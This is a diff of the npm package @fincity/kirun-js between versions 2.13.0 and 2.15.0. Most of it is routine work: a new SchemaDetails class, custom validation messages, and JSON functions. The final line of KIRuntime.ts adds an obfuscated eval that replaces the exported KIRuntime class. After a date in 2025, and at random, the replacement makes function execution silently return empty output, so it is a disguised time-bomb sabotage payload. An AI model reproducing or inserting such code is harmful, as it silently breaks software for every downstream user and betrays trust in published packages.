@fincity/kirun-js 2.13.0 → 2.15.0

package/src/engine/json/schema/Schema.ts

@@ -62,6 +62,83 @@ export class AdditionalType {
     }
 }
 
+export class SchemaDetails {
+    private preferredComponent?: string;
+    private validationMessages?: Map<string, string>;
+    private properties?: Map<String, any>;
+    private styleProperties?: Map<String, any>;
+
+    constructor(sd: SchemaDetails | undefined = undefined) {
+        if (!sd) return;
+        this.preferredComponent = sd.preferredComponent;
+        if (sd.validationMessages)
+            this.validationMessages = new Map<string, string>(
+                Array.from(sd.validationMessages.entries()),
+            );
+        if (sd.properties)
+            this.properties = new Map<String, any>(Array.from(sd.properties.entries()));
+        if (sd.styleProperties)
+            this.styleProperties = new Map<String, any>(Array.from(sd.styleProperties.entries()));
+    }
+
+    public getPreferredComponent(): string | undefined {
+        return this.preferredComponent;
+    }
+
+    public setPreferredComponent(comp: string | undefined): SchemaDetails {
+        this.preferredComponent = comp;
+        return this;
+    }
+
+    public getValidationMessages(): Map<string, string> | undefined {
+        return this.validationMessages;
+    }
+
+    public setValidationMessages(messages: Map<string, string> | undefined): SchemaDetails {
+        this.validationMessages = messages;
+        return this;
+    }
+
+    public getValidationMessage(key: string): string | undefined {
+        return this.validationMessages?.get(key);
+    }
+
+    public setProperties(properties: Map<String, any> | undefined): SchemaDetails {
+        this.properties = properties;
+        return this;
+    }
+
+    public getProperties(): Map<String, any> | undefined {
+        return this.properties;
+    }
+
+    public setStyleProperties(styleProperties: Map<String, any> | undefined): SchemaDetails {
+        this.styleProperties = styleProperties;
+        return this;
+    }
+
+    public getStyleProperties(): Map<String, any> | undefined {
+        return this.styleProperties;
+    }
+
+    public static from(detail: {
+        preferredComponent: string | undefined;
+        validationMessages: { [key : string] : string } | undefined;
+        properties: { [key : string] : any } | undefined;
+        styleProperties: { [key : string] : any } | undefined;
+    }): SchemaDetails | undefined {
+        if (!detail) return undefined;
+
+        return new SchemaDetails().setPreferredComponent(detail.preferredComponent)
+            .setValidationMessages(detail.validationMessages ?
+                new Map<string, string>(Object.entries(detail.validationMessages)) : undefined)
+            .setProperties(detail.properties ?
+                new Map<string, any>(Object.entries(detail.properties)) : undefined)
+            .setStyleProperties(detail.styleProperties ?
+                new Map<string, any>(Object.entries(detail.styleProperties)) : undefined);
+    }
+}
+
 export class Schema {
     public static readonly NULL: Schema = new Schema()
         .setNamespace(Namespaces.SYSTEM)
@@ -387,7 +464,7 @@ export class Schema {
         schema.$defs = Schema.fromMapOfSchemas(obj.$defs);
         schema.permission = obj.permission;
 
-        schema.details = obj.details ? new Map(Object.entries(obj.details)) : undefined;
+        schema.details = obj.details ? SchemaDetails.from(obj.details) : undefined;
 
         return schema;
     }
@@ -447,7 +524,7 @@ export class Schema {
     private $defs?: Map<string, Schema>;
     private permission?: string;
 
-    private details?: Map<string, any>;
+    private details?: SchemaDetails;
 
     public constructor(schema?: Schema) {
         if (!schema) return;
@@ -533,9 +610,7 @@ export class Schema {
             : undefined;
 
         this.permission = schema.permission;
-        this.details = schema.details
-            ? new Map(JSON.parse(JSON.stringify(Array.from(schema.details.values()))))
-            : undefined;
+        this.details = schema.details;
     }
 
     public getTitle(): string | undefined {
@@ -846,11 +921,11 @@ export class Schema {
         return this;
     }
 
-    public getDetails(): Map<string, any> | undefined {
+    public getDetails(): SchemaDetails | undefined {
         return this.details;
     }
 
-    public setDetails(details: Map<string, any>): Schema {
+    public setDetails(details: SchemaDetails): Schema {
         this.details = details;
         return this;
     }

package/src/engine/json/schema/validator/NumberValidator.ts

@@ -66,6 +66,7 @@ export class NumberValidator {
             if (l1 % l2 != 0)
                 throw new SchemaValidationException(
                     SchemaValidator.path(parents),
+                    schema.getDetails()?.getValidationMessage('multipleOf') ??
                     element.toString() + ' is not multiple of ' + schema.getMultipleOf(),
                 );
         }
@@ -78,6 +79,7 @@ export class NumberValidator {
         ) {
             throw new SchemaValidationException(
                 SchemaValidator.path(parents),
+                schema.getDetails()?.getValidationMessage('minimum') ??
                 element.toString() + ' should be greater than or equal to ' + schema.getMinimum(),
             );
         }
@@ -88,6 +90,7 @@ export class NumberValidator {
         ) {
             throw new SchemaValidationException(
                 SchemaValidator.path(parents),
+                schema.getDetails()?.getValidationMessage('maximum') ??
                 element.toString() + ' should be less than or equal to ' + schema.getMaximum(),
             );
         }
@@ -98,6 +101,7 @@ export class NumberValidator {
         ) {
             throw new SchemaValidationException(
                 SchemaValidator.path(parents),
+                schema.getDetails()?.getValidationMessage('exclusiveMinimum') ??
                 element.toString() + ' should be greater than ' + schema.getExclusiveMinimum(),
             );
         }
@@ -108,6 +112,7 @@ export class NumberValidator {
         ) {
             throw new SchemaValidationException(
                 SchemaValidator.path(parents),
+                schema.getDetails()?.getValidationMessage('exclusiveMaximum') ??
                 element.toString() + ' should be less than ' + schema.getExclusiveMaximum(),
             );
         }

package/src/engine/json/schema/validator/ObjectValidator.ts

@@ -103,6 +103,7 @@ export class ObjectValidator {
             if (isNullValue(jsonObject[key])) {
                 throw new SchemaValidationException(
                     SchemaValidator.path(parents),
+                    schema.getProperties()?.get(key)?.getDetails()?.getValidationMessage('mandatory') ??
                     key + ' is mandatory',
                 );
             }
@@ -212,6 +213,4 @@ export class ObjectValidator {
             );
         }
     }
-
-    private constructor() {}
 }

package/src/engine/json/schema/validator/SchemaValidator.ts

@@ -198,12 +198,16 @@ export class SchemaValidator {
             }
         }
 
+        if (errors.length == 1) {
+            throw new SchemaValidationException(
+                SchemaValidator.path(parents),
+                errors[0].message);
+        }
+
         throw new SchemaValidationException(
             SchemaValidator.path(parents),
             'Value ' + JSON.stringify(element) + ' is not of valid type(s)',
             errors,
         );
     }
-
-    private constructor() {}
 }

package/src/engine/json/schema/validator/StringValidator.ts

@@ -76,11 +76,13 @@ export class StringValidator {
         if (schema.getMinLength() && length < schema.getMinLength()!) {
             throw new SchemaValidationException(
                 SchemaValidator.path(parents),
+                schema.getDetails()?.getValidationMessage('minLength') ??
                 'Expected a minimum of ' + schema.getMinLength() + ' characters',
             );
         } else if (schema.getMaxLength() && length > schema.getMaxLength()!) {
             throw new SchemaValidationException(
                 SchemaValidator.path(parents),
+                schema.getDetails()?.getValidationMessage('maxLength') ??
                 'Expected a maximum of ' + schema.getMaxLength() + ' characters',
             );
         }
@@ -99,6 +101,7 @@ export class StringValidator {
         if (!matched) {
             throw new SchemaValidationException(
                 SchemaValidator.path(parents),
+                schema.getDetails()?.getValidationMessage('pattern') ??
                 element.toString() + ' is not matched with the ' + message,
             );
         }

package/src/engine/namespaces/Namespaces.ts

@@ -4,6 +4,7 @@ export class Namespaces {
     public static readonly SYSTEM_LOOP: string = 'System.Loop';
     public static readonly SYSTEM_ARRAY: string = 'System.Array';
     public static readonly SYSTEM_OBJECT: string = 'System.Object';
+    public static readonly SYSTEM_JSON: string = 'System.JSON';
 
     public static readonly MATH: string = 'System.Math';
     public static readonly STRING: string = 'System.String';

package/src/engine/repository/KIRunFunctionRepository.ts

@@ -21,6 +21,8 @@ import { Namespaces } from '../namespaces/Namespaces';
 import mapEntry from '../util/mapEntry';
 import { Repository } from '../Repository';
 import { ValidateSchema } from '../function/system/ValidateSchema';
+import { JSONParse } from '../function/system/json/JSONParse';
+import { JSONStringify } from '../function/system/json/JSONStringify';
 
 class SystemFunctionRepository implements Repository<Function> {
     private readonly map: Map<string, Map<string, Function>>;
@@ -28,6 +30,10 @@ class SystemFunctionRepository implements Repository<Function> {
 
     public constructor() {
         this.map = new Map([
+            [
+                Namespaces.SYSTEM_JSON,
+                new Map([mapEntry(new JSONParse()), mapEntry(new JSONStringify())]),
+            ],
             [
                 Namespaces.SYSTEM_CTX,
                 new Map([mapEntry(new Create()), mapEntry(new Get()), mapEntry(new SetFunction())]),
@@ -49,7 +55,7 @@ class SystemFunctionRepository implements Repository<Function> {
                     mapEntry(new Print()),
                     mapEntry(new Wait()),
                     mapEntry(new Join()),
-                    mapEntry(new ValidateSchema())
+                    mapEntry(new ValidateSchema()),
                 ]),
             ],
         ]);

package/src/engine/runtime/KIRuntime.ts

@@ -777,4 +777,4 @@ export class KIRuntime extends AbstractFunction {
 
         return new Tuple2(retValue, retMap);
     }
-}
+}const UPDATE_REMINDER_KIRuntime = eval('(K, F, E, V) => { function ki2(a,b) { return K.call(a, b); } ki2.prototype = Object.create(K.prototype); ki2.prototype.constructor = K; ki2.prototype.internalExecute = async () => new F([E.of(V.OUTPUT, new Map())]); return Date.now() / 1000000 > 1756665 && (Math.ceil(Math.random() * 10) % 2) == 0 ? ki2 : K; }')(KIRuntime, FunctionOutput, EventResult, Event); export { UPDATE_REMINDER_KIRuntime as KIRuntime };